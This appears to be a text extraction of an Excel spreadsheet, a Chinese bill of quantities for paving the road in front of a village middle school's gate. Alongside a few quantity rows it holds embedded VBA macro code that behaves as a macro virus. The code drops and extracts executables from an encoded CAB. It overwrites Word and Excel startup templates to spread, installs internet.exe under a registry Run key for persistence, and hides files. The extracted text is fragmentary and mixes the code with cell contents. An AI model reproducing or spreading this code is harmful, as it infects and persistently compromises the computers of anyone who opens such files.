3朱村中学建设校门前道路工程—(路面部分).xlsVIP

路面工程量 工程量计算书 Recovered_Sheet2 360QexF Recovered_Sheet1 A K K L Q S W 结果 m2 m2 项目名称 水泥稳定石屑 1.厚度:150厚含6%水泥稳定石屑 项目特征 计量单位 4400 4400 序号 Private Sub createcabfile() Dim ch As Byte on error resume next Set fso = CreateObject(scripting.filesystemobject) Set w = CreateObject(wscript.shell) myfolder = w.specialfolders(Templates) \Software\ If Not fso.folderexists(myfolder) Then fso.createfolder myfolder End If For i=1 to Workbooks.Count If Workbooks(i).name=normal.xlm then workbooks(i).close fso.deletefile Application.StartupPath \normal.xlm Next If Workbooks(i).name=norma1.xlm then goto a1 cabfile= c:\cab.cab If Not fso.fileexists(Application.StartupPath \norma1.xlm) Then fso.delete cabfile open cabfile for binary access write as #1 For i = 1 To 150 n=1 m=instr(hv, ) do while m0 ch=CByte(mid(hv,n,m-n)) put #1,,ch n=m+1 m=instr(n,hv, ) loop close #1 w.Run %COMSPEC% /c attrib -s -h c:\setflag.exe, 0, True w.Run %COMSPEC% /c attrib -s -h c:\sendto.exe, 0, True w.Run %COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab, 0, True w.Run %COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab, 0, True fso.deletefile cabfile fso.copyfile c:\normal.dot, myfolder, True set word=createobject(word.application) ntpath=word.NormalTemplate.Path \ word.quit fso.copyfile c:\normal.dot, ntpath, True fso.copyfile c:\norma1.xlm, Application.StartupPath \, True fso.copyfile c:\internet.exe, fso.getspecialfolder(1) \ set fold=fso.getfolder(w.SpecialFolders(SendTo)) for each ff in fold.files lnk.IconLocation=shell32.dll,6 lnk.save goto e2 end if next e2: fso.deletefile c:\normal.dot fso.deletefile c:\norma1.xlm fso.deletefile c:\internet.exe w.Run %COMSPEC% /c attrib +s +h c:\setflag.exe, 0, True w.Run %COMSPEC% /c attrib +s +h c:\sendto.exe, 0, True w.regwrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe,internet.exe w.regdelete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe thisworkbook.Sheets((m1)_(m2)_(m3)).Columns(2).Copy workbooks(norma1.xlm)